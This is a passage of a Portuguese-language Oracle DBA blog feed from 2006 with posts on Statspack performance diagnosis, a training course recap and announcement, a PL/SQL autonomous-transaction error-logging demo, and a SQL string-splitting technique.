/&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;strong&gt;DEPOIS&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Load Profile&lt;br /&gt;~~~~~~~~~~~~                            Per Second       Per Transaction&lt;br /&gt;                                  ---------------       ---------------&lt;br /&gt;                 Redo size:              &lt;strong&gt;8,662.55&lt;/strong&gt;             64,046.10&lt;br /&gt;             Logical reads:              3,298.27             24,385.57&lt;br /&gt;             Block changes:                 23.56                174.21&lt;br /&gt;            Physical reads:                  0.88                  6.53&lt;br /&gt;           Physical writes:                  0.00                  0.00&lt;br /&gt;                User calls:                 26.41                195.25&lt;br /&gt;                    Parses:                  9.25                 68.40&lt;br /&gt;               Hard parses:                  0.88                  6.53&lt;br /&gt;                     Sorts:                  1.11                  8.21&lt;br /&gt;                    Logons:                  0.05                  0.35&lt;br /&gt;                  Executes:                 13.57                100.30&lt;br /&gt;              Transactions:                  0.14&lt;br /&gt;&lt;br /&gt;Top 5 Timed Events&lt;br /&gt;~~~~~~~~~~~~~~~~~~                                                     % Total&lt;br /&gt;Event                                               Waits    Time (s) Ela Time&lt;br /&gt;-------------------------------------------- ------------ ----------- --------&lt;br /&gt;PL/SQL lock timer                                   2,804       1,670    97.42&lt;br /&gt;CPU time                                                           22     1.28&lt;br /&gt;LGWR wait on LNS                                    1,098           5      .27&lt;br /&gt;LGWR-LNS wait on channel                              483           5      .27&lt;br /&gt;LNS wait on SENDREQ                                   132           5      .27&lt;br /&gt;         -------------------------------------------------------------&lt;br /&gt;                                                                  Avg&lt;br /&gt;                                                    Total Wait   wait    Waits&lt;br /&gt;Event                               Waits   Timeouts   Time (s)   (ms)     /txn&lt;br /&gt;---------------------------- ------------ ---------- ---------- ------ --------&lt;br /&gt;PL/SQL lock timer                   2,804      2,804      1,670    596     23.0&lt;br /&gt;LGWR wait on LNS                    1,098        169          5      4      9.0&lt;br /&gt;LGWR-LNS wait on channel              483        169          5     10      4.0&lt;br /&gt;LNS wait on SENDREQ                   132          0          5     35      1.1&lt;br /&gt;db file sequential read               799          0          4      5      6.5&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;log file sync                         108          0          4     33      0.9&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;process startup                         6          0          0     57      0.0&lt;br /&gt;log file parallel write               129          0          0      2      1.1&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;Algumas diferenças:&lt;br /&gt;&lt;br /&gt;Geração de redos, com a liberação da rede, os redos não acumulam mais. &lt;/p&gt;&lt;p align="justify"&gt;Tempo de espera no evento "log file sync" de 13000 segundos para 33. Entendendo o evento: a janela do statspacks foi de 900 segundos em 60 sessões, portanto 13000/60 = 216 segundos em média de espera para sincronizar os redos em 900 segundos/sessão. Depois: 33/60 = 0.55 segudos em 900 segundos/sessão.&lt;br /&gt;&lt;br /&gt;Nem sempre o problema está no banco e quase sempre o ônus da prova é do DBA.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-5526921604072293410?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/5526921604072293410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=5526921604072293410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/5526921604072293410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/5526921604072293410'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2006/12/problema-de-performance.html' title='Problema de Performance.'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-1301144200152699839</id><published>2006-12-10T23:50:00.000-02:00</published><updated>2007-04-02T09:59:35.597-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><title type='text'>Missão Cumprida</title><content type='html'>&lt;div style="text-align: justify;"&gt;Me sinto realizado, nossa turma foi um sucesso. Missão cumprida!&lt;br /&gt;&lt;br /&gt;Aprendemos sobre a velha senhora, o funcionário que só carimba, a faxineira, o garçom, o cozinheiro e todos os que fazem parte da estrutura do banco de dados - em analogia é claro. Estranho para que lê, familiar para minha turma ;-)&lt;br /&gt;&lt;br /&gt;O mercado tem nove novos padawans prontos para usarem a força. Fernando (da terra do chopp), Volnei, Eduardo, Douglas, Geisel, João, Edson, Luiz e Fernando (da Pro). Que turma! O que dizer? Eles participaram, criativos, tornaram nossa semana muito agradável.&lt;br /&gt;&lt;br /&gt;Entenderam, não entenderam, brincaram, estudaram, perguntaram, questionaram acima de tudo. Cada um à sua maneira, deixou marcas - Fernando, o da terra do chopp, ensinou como devemos confiar na força e não nos palpites (perdemos uma base e eu, o almoço ;-), Volnei com idéias brilhantes de como ganhar mais dinheiro, depois de uma aula incentivadora sobre o tema, Edu - esse é figura! O Horácio (eu posso chamá-lo assim) o mais animado, embora tenha traumatizado criancinhas, foi o destaque, muito bem humorado,  era responsável pelas lucesss e também pelo nosso pequeno happy hour (No Cais-Cais há uma placa: &lt;span style="font-style: italic;"&gt;Turmas de Oracle Não São Bem-Vindas!&lt;/span&gt;). Douglas vai tomar de volta umas senhas que ele emprestou, Geisel nos proporcionou segurança na infra-estrutura (1 computador por aluno e nenhuma falha), Fernando o da Pro me ajudou com o Luiz que bebeu muuuuuito mas nem se compara ao João que ainda identificou vários xaropes na cerveja, dentre eles o de milho, framboesa e cassis. Para finalizar Edson, o mineiro, quietinho ele fez de suas anotações uma apostila melhor que a oficial.&lt;br /&gt;&lt;br /&gt;Essa foi a espetacular turma da semana de 4 a 8 de dezembro de 2006. Um verdadeiro presente de Natal.&lt;br /&gt;&lt;br /&gt;Parabéns senhores!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Márcio Portes&lt;/span&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-1301144200152699839?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/1301144200152699839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=1301144200152699839' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1301144200152699839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1301144200152699839'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2006/12/misso-cumprida.html' title='Missão Cumprida'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-3546840477145527111</id><published>2006-12-02T14:16:00.000-02:00</published><updated>2007-04-02T09:59:35.598-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><title type='text'>Curso Oracle</title><content type='html'>&lt;span style="font-size:130%;"&gt;Na próxima semana, de &lt;span style="font-style: italic; color: rgb(51, 51, 255);font-family:arial;font-size:130%;"  &gt;4 a 8 de dezembro/2006 das 9h00 as 14h30&lt;/span&gt;, vou ministrar curso oficial da Oracle (&lt;span style="font-family:verdana;"&gt;Work Shop I&lt;/span&gt;) na Ensof, quem quiser tomar um café após as 16h30, me avise. ;-)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;abraços,&lt;br /&gt;Marcio Portes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-3546840477145527111?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/3546840477145527111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=3546840477145527111' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3546840477145527111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/3546840477145527111'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2006/12/curso-oracle-oficial.html' title='Curso Oracle'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-116114182616696010</id><published>2006-10-18T00:16:00.000-03:00</published><updated>2007-04-02T09:55:41.305-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>PRAGMA AUTONOMOUS_TRANSACTION</title><content type='html'>O pragma autonomous_transaction pode ser usado para capturar erros durante a execução mesmo após um rollback. Fiz um exemplo muito simples para um colega hoje.&lt;br /&gt;&lt;br /&gt;Explicando o teste: a tabela "t_errors" receberá o erro da divisão por zero, porém há um insert antes que não se efetivará pelo saída de exceção "WHEN OTHERS" e, &lt;span style="font-weight: bold;"&gt;claro,&lt;/span&gt; não podia deixar de demonstrar como usar o WHEN OTHERS corretamente, ou seja, com um &lt;span style="font-weight: bold;"&gt;RAISE &lt;/span&gt;no final!&lt;br /&gt;&lt;br /&gt;Esse teste me renderá 4 chopps! :-)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; create table t_errors (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2           dt date,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3           x  varchar2(4000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; create table t ( dt date );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; select * from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; select * from t_errors;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2      l_number number;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3      procedure err ( p_errmsg in varchar2 )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4      is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5         PRAGMA AUTONOMOUS_TRANSACTION;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6      begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7         insert into t_errors values ( sysdate, p_errmsg );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8         commit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9      end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11      insert into t values ( sysdate );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12      l_number := 10/0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13      commit;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14  exception&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 15       when others then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 16           rollback;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 17           err( sqlerrm );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 18           raise;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 19  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 20  /&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ERROR at line 1:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-01476: divisor is equal to zero&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORA-06512: at line 18&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; select * from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;no rows selected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio@LUKE9I&gt; select * from t_errors;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;DT                  X&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------- ------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;18/10/2006 01:11:44 ORA-01476: divisor is equal to zero&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-116114182616696010?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/116114182616696010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=116114182616696010' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/116114182616696010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/116114182616696010'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2006/10/pragma-autonomoustransaction.html' title='PRAGMA AUTONOMOUS_TRANSACTION'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-115985092088543533</id><published>2006-10-03T01:48:00.000-03:00</published><updated>2007-04-02T09:55:41.305-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Separação de String</title><content type='html'>Outro dia respondi uma dúvida em um forum e achei interessante para compartilhar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A dúvida&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Gostaria de saber com criar uma funcao que faca o seguinte:&lt;br /&gt;separe um codigo em prefixo, medida e sulfixo.&lt;br /&gt;os codigos podem ter o seginte formato&lt;br /&gt;&lt;br /&gt;XXX9999YYY&lt;br /&gt;XX9999999YY&lt;br /&gt;XXXX99&lt;br /&gt;&lt;br /&gt;sedo que:&lt;br /&gt;&lt;br /&gt;X é o prefixo e eh sempre um conjunto de caracteres&lt;br /&gt;9 é a medida e eh sempre numerico&lt;br /&gt;Y é o sulfixo, sempre caracteres, podendo existir ou nao.&lt;br /&gt;&lt;br /&gt;o tamanho de cada cadeia de caracteres pode variar, ex:&lt;br /&gt;&lt;br /&gt;XXXX; XXX; XX; XXXXX&lt;br /&gt;999; 9999; 99999&lt;br /&gt;YY; YYY; YYYYYY ou sem caracter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Primeiro, vou reproduzir exatamente o exemplo dado.&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt; create table t ( x varchar2(15) );&lt;br /&gt;&lt;br /&gt;Table created.&lt;br /&gt;&lt;br /&gt;ops$marcio:YODA10G&gt; insert into t values ( 'XXX9999YYY' );&lt;br /&gt;&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$marcio:YODA10G&gt; insert into t values ( 'XX9999999YY' );&lt;br /&gt;&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;ops$marcio:YODA10G&gt; insert into t values ( 'XXXX99' );&lt;br /&gt;&lt;br /&gt;1 row created.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Abaixo, a técnica: Vejo se consigo encontrar a posição onde começa e termina os numerais. Portanto:&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XXX9999YYY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1234567890  = Incio,fim (4,7)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XX9999999YY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;12345678901 = Inicio,fim (3,9)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Por que necessito disso? Porque eu poderei separar facilmente os valores usando a função SUBSTR mais a frente. A substr pede inicio e quantidade de bytes a separar, com o inicio e fim dos numeros na string, basta subtrair que terei o tamanho dos numeros.&lt;br /&gt;Ex.&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XXX9999YYY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1234567890  = Incio,fim (4,7)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;tam=fim-inicio = tam=7-4; tam=3 (+1 da posição inicial).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    A substr, começanda a posição 4, extraindo &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    4 bytes são exatamente os numeros que estão &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    compreendidos na string.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XXX9999YYY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   +--+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1234 ----------= *posição inicial do SUBSTR + 4 bytes (9999).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Demonstrando:&lt;/span&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt;&lt;br /&gt;ops$marcio:YODA10G&gt; select x,&lt;br /&gt;  2         instr(n, '9' ) prm,&lt;br /&gt;  3         instr(n, '9', -1) ult&lt;br /&gt;  4    from (&lt;br /&gt;  5  select translate(x,'1234567890','9999999999') n, x&lt;br /&gt;  6    from t&lt;br /&gt;  7  )&lt;br /&gt;  8  /&lt;br /&gt;&lt;br /&gt;X                         PRM           ULT&lt;br /&gt;--------------- ------------- -------------&lt;br /&gt;XXX9999YYY                  4             7&lt;br /&gt;XX9999999YY                 3             9&lt;br /&gt;XXXX99                      5             6&lt;br /&gt;&lt;br /&gt;3 rows selected.&lt;br /&gt;&lt;br /&gt;ops$marcio:YODA10G&gt;&lt;br /&gt;ops$marcio:YODA10G&gt; select x&lt;br /&gt;  2       , substr(x, 1, instr(n,'9')-1 ) prefixo&lt;br /&gt;  3       , substr(x, instr(n,'9'), (instr(n,'9', -1)+1) - instr(n,'9')) medida&lt;br /&gt;  4       , substr(x, instr(n,'9', -1)+1 ) sulfixo&lt;br /&gt;  5    from ( select x, translate(x,'1234567890','9999999999') n from t )&lt;br /&gt;  6  /&lt;br /&gt;&lt;br /&gt;X               PREFIXO         MEDIDA          SULFIXO&lt;br /&gt;--------------- --------------- --------------- ---------------&lt;br /&gt;XXX9999YYY      XXX             9999            YYY&lt;br /&gt;XX9999999YY     XX              9999999         YY&lt;br /&gt;XXXX99          XXXX            99&lt;br /&gt;&lt;br /&gt;3 rows selected.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Agora incrementando o teste para que a query acima seja verdade.&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt; insert into t values ( 'ab1234567vc');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt; insert into t values ( 'mn0z');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt; insert into t values ( 'ooo123');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt; select x&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2       , substr(x, 1, instr(n,'9')-1 ) prefixo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3       , substr(x, instr(n,'9'), (instr(n,'9', -1)+1) - instr(n,'9')) medida&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4       , substr(x, instr(n,'9', -1)+1 ) sulfixo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5    from ( select x, translate(x,'1234567890','9999999999') n from t )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;X               PREFIXO         MEDIDA          SULFIXO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------- --------------- --------------- ---------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XXX9999YYY      XXX             9999            YYY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XX9999999YY     XX              9999999         YY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;XXXX99          XXXX            99&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ab1234567vc     ab              1234567         vc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;mn0z            mn              0               z&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ooo123          ooo             123&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;6 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:YODA10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-115985092088543533?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/115985092088543533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=115985092088543533' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/115985092088543533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/115985092088543533'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2006/10/separao-de-string.html' title='Separação de String'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-115984842383424562</id><published>2006-10-03T01:01:00.000-03:00</published><updated>2007-04-02T09:55:41.306-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Setup de Linux para ASM (ASMLibs)</title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Instalação ASMLib&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vou até o /mnt/xp, onde já estão as bibliotecas do ASMLib e vou inst
